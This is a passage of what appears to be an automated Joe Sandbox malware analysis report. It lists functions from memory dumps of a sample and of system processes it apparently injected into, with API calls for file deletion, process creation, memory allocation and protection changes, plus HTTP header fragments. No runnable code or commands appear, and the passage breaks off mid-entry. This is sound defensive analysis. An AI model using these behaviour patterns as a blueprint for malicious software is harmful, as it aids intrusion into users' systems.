Source File: 00000014.00000002.1929524044.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_22a0000_bin.jbxd

Similarity

API ID: DeleteFile$lstrcat$Sleep
String ID:
API String ID: 4261675396-0
Opcode ID: 79bd1a0af3af01ca763be06bdfa33372cb59c75e302318f70dd6acde58cfabce
Instruction ID: a2bd5812f36a82a48b988da4e90203f538b131e9fd35990a7a358e2349ea9ca9
Opcode Fuzzy Hash: 79bd1a0af3af01ca763be06bdfa33372cb59c75e302318f70dd6acde58cfabce
Instruction Fuzzy Hash: 0E414471411318DFDB22AFB08D58FAF77BDFF40704F4049A5AE86EA459DA349684CEA0

Uniqueness

Uniqueness Score: -1.00%

Function 001C29DD Relevance: 9.1, APIs: 6, Instructions: 112
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,001C29D4), ref: 001C29E3

Part of subcall function 001C2A14: lstrcat.KERNEL32(00000000,001C2A0B), ref: 001C2A1A
Part of subcall function 001C2A14: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2A94
Part of subcall function 001C2A14: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2AD8
Part of subcall function 001C2A14: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 001C2B2E
Part of subcall function 001C2A14: Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 001C2B42

Memory Dump Source

Source File: 00000014.00000002.1927384104.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1c0000_bin.jbxd

Similarity

API ID: DeleteFile$lstrcat$Sleep
String ID:
API String ID: 4261675396-0
Opcode ID: 79bd1a0af3af01ca763be06bdfa33372cb59c75e302318f70dd6acde58cfabce
Instruction ID: d6b160bcfa924dc1f1ce780805323c99afb8a852cbc58ab7edcbb3794eecdb08
Opcode Fuzzy Hash: 79bd1a0af3af01ca763be06bdfa33372cb59c75e302318f70dd6acde58cfabce
Instruction Fuzzy Hash: 8D4130B15002289FDB22BB618D49FAF76BCEF60705F0444AEEA45E7041DB74DA80CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 022A2A38 Relevance: 7.6, APIs: 5, Instructions: 94filesleepstringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(00000000,022A2A2F), ref: 022A2A3E

Part of subcall function 022A2B71: Sleep.KERNEL32(00000001,?,452F5000,00000020), ref: 022A2C68

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 022A2AB8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 022A2AFC
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 022A2B52
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 022A2B66

Memory Dump Source

Source File: 00000014.00000002.1929524044.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_22a0000_bin.jbxd

Similarity

API ID: DeleteFile$Sleep$lstrcat
String ID:
API String ID: 531250245-0
Opcode ID: 1956c4aaa65c64439c9b8d6f86777e9786a239e5efddbd3eff6fe4d2a2c1f180
Instruction ID: d229d869cd74174b3f890d6bc478ec157ff561b824f05d0819012b64cdf8d9b4
Opcode Fuzzy Hash: 1956c4aaa65c64439c9b8d6f86777e9786a239e5efddbd3eff6fe4d2a2c1f180
Instruction Fuzzy Hash: 05316571410358DFDB226FB08C58FAF76BCFF40708F4009A5AE45E6458DB349584CEA0

Uniqueness

Uniqueness Score: -1.00%

Function 001C2A14 Relevance: 7.6, APIs: 5, Instructions: 94filesleepstringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(00000000,001C2A0B), ref: 001C2A1A

Part of subcall function 001C2B4D: Sleep.KERNEL32(00000001,?,452F5000,00000020), ref: 001C2C44

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2A94
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2AD8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 001C2B2E
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 001C2B42

Memory Dump Source

Source File: 00000014.00000002.1927384104.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1c0000_bin.jbxd

Similarity

API ID: DeleteFile$Sleep$lstrcat
String ID:
API String ID: 531250245-0
Opcode ID: 1956c4aaa65c64439c9b8d6f86777e9786a239e5efddbd3eff6fe4d2a2c1f180
Instruction ID: 49968fa7a4b5d5aca4da9ad6627b8677a1410d3c3c0f57381d6fd9009df4eb89
Opcode Fuzzy Hash: 1956c4aaa65c64439c9b8d6f86777e9786a239e5efddbd3eff6fe4d2a2c1f180
Instruction Fuzzy Hash: B9313EB15002699FDB227B618C48FAF76FCEF60705F0044AEEA45E7045DB34DA80CEA0

Uniqueness

Uniqueness Score: -1.00%

Function 022A31EA Relevance: 7.6, APIs: 5, Instructions: 62processstringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(00000000,00000000), ref: 022A320E
GetStartupInfoA.KERNEL32(00000000), ref: 022A324C
CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,022A31D9,00000011,?,00000000,00000000), ref: 022A3279
CloseHandle.KERNEL32(?,?,022A31D9,00000011,?,00000000,00000000,00000000,022A3092,00000004,00000000), ref: 022A3285
CloseHandle.KERNEL32(?,?,022A31D9,00000011,?,00000000,00000000,00000000,022A3092,00000004,00000000), ref: 022A3291

Memory Dump Source

Source File: 00000014.00000002.1929524044.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_22a0000_bin.jbxd

Similarity

API ID: CloseHandle$CreateInfoProcessStartuplstrcat
String ID:
API String ID: 3387338972-0
Opcode ID: f32ac5f5813da37de2e85505615cf9f5e1a16b83960bb8701c11823c1c915505
Instruction ID: 267344093a99424d6ce2f4ce6578cba88b96d3994db148ecfbd55175b9fbb11d
Opcode Fuzzy Hash: f32ac5f5813da37de2e85505615cf9f5e1a16b83960bb8701c11823c1c915505
Instruction Fuzzy Hash: A81124724106189FDF12AFA0CC58ADFB7FDEF40705F014595E985EA408DA309A90CEA5

Uniqueness

Uniqueness Score: -1.00%

Function 001C31C6 Relevance: 7.6, APIs: 5, Instructions: 62processstringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(00000000,00000000), ref: 001C31EA
GetStartupInfoA.KERNEL32(00000000), ref: 001C3228
CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,001C31B5,00000011,?,00000000,00000000), ref: 001C3255
CloseHandle.KERNEL32(?,?,001C31B5,00000011,?,00000000,00000000,00000000,001C306E,00000004,00000000), ref: 001C3261
CloseHandle.KERNEL32(?,?,001C31B5,00000011,?,00000000,00000000,00000000,001C306E,00000004,00000000), ref: 001C326D

Memory Dump Source

Source File: 00000014.00000002.1927384104.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1c0000_bin.jbxd

Similarity

API ID: CloseHandle$CreateInfoProcessStartuplstrcat
String ID:
API String ID: 3387338972-0
Opcode ID: f32ac5f5813da37de2e85505615cf9f5e1a16b83960bb8701c11823c1c915505
Instruction ID: 1a8fcc1b29af6dc6d508c4043910ddb7290efc2c1b1de9f1c1491fbd14d99cd8
Opcode Fuzzy Hash: f32ac5f5813da37de2e85505615cf9f5e1a16b83960bb8701c11823c1c915505
Instruction Fuzzy Hash: 871121B2504958AFDF12AF60CC45FAF77BCEF60305F0145A9E986EA005DB349A90CEA5

Uniqueness

Uniqueness Score: -1.00%

Function 001C0B65 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

FindWindowA.USER32(001C0B57,0000000E), ref: 001C0B6A
GetWindowThreadProcessId.USER32(00000000,E9000437), ref: 001C0B77
OpenProcess.KERNEL32(001F0FFF,00000000), ref: 001C0B84
ExitProcess.KERNEL32(00000000,00000000,000008B3), ref: 001C0BA6

Memory Dump Source

Source File: 00000014.00000002.1927384104.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1c0000_bin.jbxd

Similarity

API ID: Process$Window$ExitFindOpenThread
String ID:
API String ID: 273847653-0
Opcode ID: 34cd6c9929bffda1e26e0ee6370170bb4b231b10a00d7b4531b927594a56342a
Instruction ID: a9338b71442d5d3ebf48e46985c07ff31f3dafee2d3b1c7779650113a65b08a8
Opcode Fuzzy Hash: 34cd6c9929bffda1e26e0ee6370170bb4b231b10a00d7b4531b927594a56342a
Instruction Fuzzy Hash: CE11EF25204301AEEF136BB08D56F663F28AF36B00F0A419DF8449E0A3DB20C9429A38

Uniqueness

Uniqueness Score: -1.00%

Function 022A3F31 Relevance: 6.0, APIs: 4, Instructions: 26sleepCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,?,022A3F27,0000000A,E8FFFF1B,00000000,0000000A), ref: 022A3F51
Sleep.KERNEL32(000003E8,00000000,?,022A3F27,0000000A,E8FFFF1B,00000000,0000000A), ref: 022A3F6F
Sleep.KERNEL32(000007D0), ref: 022A3F7F
Sleep.KERNEL32(00000BB8), ref: 022A3F8F

Memory Dump Source

Source File: 00000014.00000002.1929524044.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_22a0000_bin.jbxd

Similarity

API ID: Sleep$HandleModule
String ID:
API String ID: 3646095425-0
Opcode ID: e04edd3b56a3ae2e38138ccc1fa4ca0e34bf568aa8a0740690bb103294f382c8
Instruction ID: 8f772a089a96ac62b09fb66feef1c4023350abf41f9ac3f374c59a2d0b2ae649
Opcode Fuzzy Hash: e04edd3b56a3ae2e38138ccc1fa4ca0e34bf568aa8a0740690bb103294f382c8
Instruction Fuzzy Hash: C9F01C705783509BFB40BFF08C6D64A3AB9AF00704F0400D1AA89ED89ECF7490508E75

Uniqueness

Uniqueness Score: -1.00%

Function 001C3EC3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(001C3EBD,00000006,E8FFFE1B,00000000), ref: 001C3EC8
GetModuleHandleA.KERNEL32(00000000,00000000,?,001C3F03,0000000A,E8FFFF1B,00000000,0000000A), ref: 001C3F2D

Strings

j, xrefs: 001C3EFC

Memory Dump Source

Source File: 00000014.00000002.1927384104.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1c0000_bin.jbxd

Similarity

API ID: HandleLibraryLoadModule
String ID: j
API String ID: 4133054770-2747090070
Opcode ID: 99f70bd6b06b53a7fd6d28a083be50230d299d6762310f15b5c168a6665c2821
Instruction ID: c4430a2c0c24a2b0bdc06aa21888522cca28319f24652424d60ea3f5ea681fdb
Opcode Fuzzy Hash: 99f70bd6b06b53a7fd6d28a083be50230d299d6762310f15b5c168a6665c2821
Instruction Fuzzy Hash: BEF0C871948250AEEB127A708855FAE32BCAF70701F00C45DBA95DA041DF30C740DAB7

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RuntimeBroker.exePID: 5116, Parent PID: 7396COMMON

Executed Functions

Function 003D0811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 003D092A
RtlExitUserThread.NTDLL ref: 003D0933

Memory Dump Source

Source File: 00000016.00000002.2886605765.00000000003D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 003D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_3d0000_RuntimeBroker.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 37606bd29bffd8747609349bc4e3a59d52761269dbb140b3fc6ccf4b2a91a728
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: DF31D4734102047FEB077B70AD46BBA3BACEF11700F000167BD95DE2A6EA7449649AB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RuntimeBroker.exePID: 1532, Parent PID: 7396COMMON

Executed Functions

Function 00900811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0090092A
RtlExitUserThread.NTDLL ref: 00900933

Memory Dump Source

Source File: 00000017.00000002.2818202841.0000000000900000.00000040.00000001.00020000.00000000.sdmp, Offset: 00900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_900000_RuntimeBroker.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 807355393fe14c1897a20badd90106663a8bf34a3f2784256eb9570d4bf43842
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 9A31E472000204AFEB017B709D86BBA3BACFF91300F444166FD85DA0E2EA7549A48AB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ApplicationFrameHost.exePID: 5736, Parent PID: 7396COMMON

Executed Functions

Function 00181D5A Relevance: 4.6, APIs: 3, Instructions: 123
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00181D99
VirtualAlloc.KERNELBASE ref: 00181DD2
VirtualProtect.KERNELBASE ref: 00181E56

Memory Dump Source

Source File: 00000018.00000002.2883062494.0000000000180000.00000040.00000001.00020000.00000000.sdmp, Offset: 00180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_180000_ApplicationFrameHost.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction ID: f7edfa1d29ee3a2f15c71f23f1afa3dacc25a52c64f2328ccefa2793ada852ba
Opcode Fuzzy Hash: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction Fuzzy Hash: 1121E531A34C1D0BEB58B27C9859764F6D6E79C320F980295E90DD36E4ED58CC8287C6

Uniqueness

Uniqueness Score: -1.00%

Function 00180811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0018092A
RtlExitUserThread.NTDLL ref: 00180933

Memory Dump Source

Source File: 00000018.00000002.2883062494.0000000000180000.00000040.00000001.00020000.00000000.sdmp, Offset: 00180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_180000_ApplicationFrameHost.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 5f0a2bf08c062a83ee58e576ca9a39c726153a08bf7c3d9358f7d983c0235e19
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 7331B6724102087FEB427F709D46ABA376CEF26310F440165BD85DA0A6EB744BA9CFB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RuntimeBroker.exePID: 1760, Parent PID: 7396COMMON

Executed Functions

Function 00190811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0019092A
RtlExitUserThread.NTDLL ref: 00190933

Memory Dump Source

Source File: 0000001A.00000002.2878821569.0000000000190000.00000040.00000001.00020000.00000000.sdmp, Offset: 00190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_190000_RuntimeBroker.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 623531ca5508d48381e8169b3b0e04df07f96b68e4b13c9decdab74f5fa118bc
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: F131F772510205BFEF027F709D46ABA3BACEF25300F400565BD85DA0A2EB744DA4CBB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: UserOOBEBroker.exePID: 3924, Parent PID: 7396COMMON

Executed Functions

Function 00011D5A Relevance: 4.6, APIs: 3, Instructions: 123
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00011D99
VirtualAlloc.KERNELBASE ref: 00011DD2
VirtualProtect.KERNELBASE ref: 00011E56

Memory Dump Source

Source File: 0000001C.00000002.2884175132.0000000000010000.00000040.00000001.00020000.00000000.sdmp, Offset: 00010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_10000_UserOOBEBroker.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction ID: 9f39b5367da6598aeeb1998e776373a994835cae58933e0181d4283a84448e61
Opcode Fuzzy Hash: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction Fuzzy Hash: 6021F930B34C1D0BEB5CA27C98597A4F6E2E79C320F940295EA0DD36D4ED58CC8183C6

Uniqueness

Uniqueness Score: -1.00%

Function 00010811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0001092A
RtlExitUserThread.NTDLL ref: 00010933

Memory Dump Source

Source File: 0000001C.00000002.2884175132.0000000000010000.00000040.00000001.00020000.00000000.sdmp, Offset: 00010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_10000_UserOOBEBroker.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 6daea8f8473804d12748bca0b7204fc4a623126665c209879b0ad2024dc0075f
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 8231B6724142046FEB017BB09D4AAFA7BACEF11310F044165BDC5DA0A7DEB449D5CBB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: svchost.exePID: 5428, Parent PID: 7396COMMON

Executed Functions

Function 000D0811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 000D092A
RtlExitUserThread.NTDLL ref: 000D0933

Memory Dump Source

Source File: 0000001D.00000002.2885240702.00000000000D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_d0000_svchost.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: e07ed74e5cc9ac58003678b7d18a2ed3e8e34b21eca328e534d94c088b93a5ac
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 3431D2724103047FEB017B709D8ABFA7BACEF11300F000167BD89DA2A3EE7449649AB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: dllhost.exePID: 1440, Parent PID: 7396COMMON

Executed Functions

Function 00260811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0026092A
RtlExitUserThread.NTDLL ref: 00260933

Memory Dump Source

Source File: 0000001E.00000002.2878758310.0000000000260000.00000040.00000001.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_260000_dllhost.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 9ec0f4c8c139119009ddabdc2b4aa269233a87e76af611ef1baa78d60f79bf3b
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 1731E8724202056FEB01BF709D86ABB776CEF11300F040165BD85DA0A6EA744DF4DBB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: cscript.exePID: 5956, Parent PID: 7396COMMON

Executed Functions

Function 04D8093E Relevance: .1, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001F.00000002.2960232156.0000000004D80000.00000040.00000001.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_4d80000_cscript.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction ID: bd152e34d45244b5b0de908b3409e54b62d17a94b8f1b9f181fbd7a7c39f8d8c
Opcode Fuzzy Hash: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction Fuzzy Hash: 70519131644254AFEB13AF20CC85BAA77FCEF04B44F050199AB49FE0D6DAB0A594CA65

Uniqueness

Uniqueness Score: -1.00%

Function 04D814BC Relevance: .1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001F.00000002.2960232156.0000000004D80000.00000040.00000001.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_4d80000_cscript.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5727545300d1671addd51e91b40c8cbd905ff098a5558d7618b97e1a8f51269
Instruction ID: 240a908095b31d48dabf343665f2126191557b9bfc172afeab7e0d25957057ac
Opcode Fuzzy Hash: f5727545300d1671addd51e91b40c8cbd905ff098a5558d7618b97e1a8f51269
Instruction Fuzzy Hash: 9521FF724046249EEF03BF60C9C8CAA73ECEF40608F45056A99C5EF049FA70A159CAF6

Uniqueness

Uniqueness Score: -1.00%

Function 04D81345 Relevance: .1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001F.00000002.2960232156.0000000004D80000.00000040.00000001.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_4d80000_cscript.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction ID: afde93bafbda14b7bf7125b07b2fa8006c521ac69a90eb641091875bf5b51a57
Opcode Fuzzy Hash: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction Fuzzy Hash: 0B218E31A04216AFDF12AE78C844B6DBBB5BF04700F054229F955BB594D770A815CB94

Uniqueness

Uniqueness Score: -1.00%

Function 04D814DE Relevance: .1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001F.00000002.2960232156.0000000004D80000.00000040.00000001.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_4d80000_cscript.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d5916cffd13119fdbd97c2973cedf6b12916aa16a29f0e56b04471841f1574a
Instruction ID: a52074f1b3dbf11521ca03e5d76b893b1dcf0efebbea6fb33ed7553931c56f0f
Opcode Fuzzy Hash: 6d5916cffd13119fdbd97c2973cedf6b12916aa16a29f0e56b04471841f1574a
Instruction Fuzzy Hash: 501149725046249EEF03BF60C5C8CBA73ECEE50608B45096A9DC6EE449FE70A159CAF5

Uniqueness

Uniqueness Score: -1.00%

Function 04D83F0D Relevance: .0, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001F.00000002.2960232156.0000000004D80000.00000040.00000001.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_4d80000_cscript.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 550d547703b1faf33bdbb28134adf901e3b34dfa1c128e3e0b52710aeb13400a
Instruction ID: 9756340ad906f119ebdef4e94682a1741d49f2d090b9b202d17a7e762fd154c8
Opcode Fuzzy Hash: 550d547703b1faf33bdbb28134adf901e3b34dfa1c128e3e0b52710aeb13400a
Instruction Fuzzy Hash: A9F012B0788280A6FF403B70CC4967D36B8EF50B09F04059AAD8DAD0D6DE75E550DEB5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 04D84674 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Cook, xrefs: 04D84728
User, xrefs: 04D847AA
ie: , xrefs: 04D8472E
nt: , xrefs: 04D847B6
-Age, xrefs: 04D847B0

Memory Dump Source

Source File: 0000001F.00000002.2960232156.0000000004D80000.00000040.00000001.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_4d80000_cscript.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction ID: dfcd06c3ad851cb1e0bd18f450b5ddc6074d6a96eed789f2027d34425a491574
Opcode Fuzzy Hash: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction Fuzzy Hash: D24174B6600209BFEF129F65CC44BEEBFB9FF80704F154059EA44AA254D730E640CB94

Uniqueness

Uniqueness Score: -1.00%

Function 04D84675 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Cook, xrefs: 04D84728
User, xrefs: 04D847AA
ie: , xrefs: 04D8472E
nt: , xrefs: 04D847B6
-Age, xrefs: 04D847B0

Memory Dump Source

Source File: 0000001F.00000002.2960232156.0000000004D80000.00000040.00000001.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_4d80000_cscript.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction ID: 3f9d9746d182d49cfa9ed767f343ebd2e20e28e0d4ad236aa8651c43168c0601
Opcode Fuzzy Hash: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction Fuzzy Hash: 184177B6600209BFEF125F65CC44BEEBFB9FF84704F154059EA44AA154D734E550CB94

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: conhost.exePID: 3428, Parent PID: 7396COMMON

Executed Functions

Function 00880811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0088092A
RtlExitUserThread.NTDLL ref: 00880933

Memory Dump Source

Source File: 00000020.00000002.2879057988.0000000000880000.00000040.00000001.00020000.00000000.sdmp, Offset: 00880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_880000_conhost.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 880e9aabe061995b8033cec9ddf34236fde6215fc8b9e8af3826ea7dc37c58af
